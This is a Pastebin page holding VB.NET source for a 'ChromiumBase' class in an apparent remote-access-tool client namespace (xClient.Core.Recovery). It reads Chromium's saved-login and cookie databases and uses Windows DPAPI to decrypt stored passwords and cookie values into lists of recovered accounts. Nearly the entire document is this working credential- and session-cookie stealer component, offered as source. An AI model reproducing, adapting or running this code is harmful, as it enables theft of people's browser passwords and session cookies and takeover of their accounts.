Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System
- Imports System.Collections.Generic
- Imports System.IO
- Imports System.Security.Cryptography
- Imports System.Text
- Imports xClient.Core.Data
- Imports xClient.Core.Utilities
- Namespace xClient.Core.Recovery.Utilities
- Public Class ChromiumBase
- Public Shared Function Passwords(ByVal datapath As String, ByVal browser As String) As List(Of RecoveredAccount)
- Dim data As List(Of RecoveredAccount) = New List(Of RecoveredAccount)()
- Dim SQLDatabase As SQLiteHandler = Nothing
- If Not File.Exists(datapath) Then Return data
- Try
- SQLDatabase = New SQLiteHandler(datapath)
- Catch __unusedException1__ As Exception
- Return data
- End Try
- If Not SQLDatabase.ReadTable("logins") Then Return data
- Dim host As String
- Dim user As String
- Dim pass As String
- Dim totalEntries As Integer = SQLDatabase.GetRowCount()
- For i As Integer = 0 To totalEntries - 1
- Try
- host = SQLDatabase.GetValue(i, "origin_url")
- user = SQLDatabase.GetValue(i, "username_value")
- pass = Decrypt(SQLDatabase.GetValue(i, "password_value"))
- If Not String.IsNullOrEmpty(host) AndAlso Not String.IsNullOrEmpty(user) AndAlso pass IsNot Nothing Then
- data.Add(New RecoveredAccount With {.URL = host, .Username = user, .Password = pass, .Application = browser})
- End If
- Catch __unusedException1__ As Exception
- End Try
- Next
- Return data
- End Function
- Public Shared Function Cookies(ByVal dataPath As String, ByVal browser As String) As List(Of ChromiumCookie)
- Dim datapath As String = dataPath
- Dim data As List(Of ChromiumCookie) = New List(Of ChromiumCookie)()
- Dim SQLDatabase As SQLiteHandler = Nothing
- If Not File.Exists(datapath) Then Return data
- Try
- SQLDatabase = New SQLiteHandler(datapath)
- Catch __unusedException1__ As Exception
- Return data
- End Try
- If Not SQLDatabase.ReadTable("cookies") Then Return data
- Dim host As String
- Dim name As String
- Dim value As String
- Dim path As String
- Dim expires As String
- Dim lastaccess As String
- Dim secure As Boolean
- Dim http As Boolean
- Dim expired As Boolean
- Dim persistent As Boolean
- Dim priority As Boolean
- Dim totalEntries As Integer = SQLDatabase.GetRowCount()
- For i As Integer = 0 To totalEntries - 1
- Try
- host = SQLDatabase.GetValue(i, "host_key")
- name = SQLDatabase.GetValue(i, "name")
- value = Decrypt(SQLDatabase.GetValue(i, "encrypted_value"))
- path = SQLDatabase.GetValue(i, "path")
- expires = SQLDatabase.GetValue(i, "expires_utc")
- lastaccess = SQLDatabase.GetValue(i, "last_access_utc")
- secure = SQLDatabase.GetValue(i, "secure") = "1"
- http = SQLDatabase.GetValue(i, "httponly") = "1"
- expired = SQLDatabase.GetValue(i, "has_expired") = "1"
- persistent = SQLDatabase.GetValue(i, "persistent") = "1"
- priority = SQLDatabase.GetValue(i, "priority") = "1"
- If Not String.IsNullOrEmpty(host) AndAlso Not String.IsNullOrEmpty(name) AndAlso Not String.IsNullOrEmpty(value) Then
- data.Add(New ChromiumCookie With {.HostKey = host, .Name = name, .Value = value, .Path = path, .ExpiresUTC = expires, .LastAccessUTC = lastaccess, .Secure = secure, .HttpOnly = http, .Expired = expired, .Persistent = persistent, .Priority = priority, .Browser = browser})
- End If
- Catch __unusedException1__ As Exception
- End Try
- Next
- Return data
- End Function
- Private Shared Function Decrypt(ByVal EncryptedData As String) As String
- If EncryptedData Is Nothing OrElse EncryptedData.Length = 0 Then
- Return Nothing
- End If
- Dim decryptedData As Byte() = ProtectedData.Unprotect(System.Text.Encoding.[Default].GetBytes(EncryptedData), Nothing, DataProtectionScope.CurrentUser)
- Return Encoding.UTF8.GetString(decryptedData)
- End Function
- Public Class ChromiumCookie
- Public Property HostKey As String
- Public Property Name As String
- Public Property Value As String
- Public Property Path As String
- Public Property ExpiresUTC As String
- Public Property LastAccessUTC As String
- Public Property Secure As Boolean
- Public Property HttpOnly As Boolean
- Public Property Expired As Boolean
- Public Property Persistent As Boolean
- Public Property Priority As Boolean
- Public Property Browser As String
- Public Overrides Function ToString() As String
- Return String.Format("Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}", Environment.NewLine, HostKey, Name, Value, Path, Expired, HttpOnly, Secure)
- End Function
- End Class
- End Class
- End Namespace
- '=======================================================
- 'Service provided by Telerik (www.telerik.com)
- 'Conversion powered by Refactoring Essentials.
- 'Twitter: @telerik
- 'Facebook: facebook.com/telerik
- '=======================================================
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement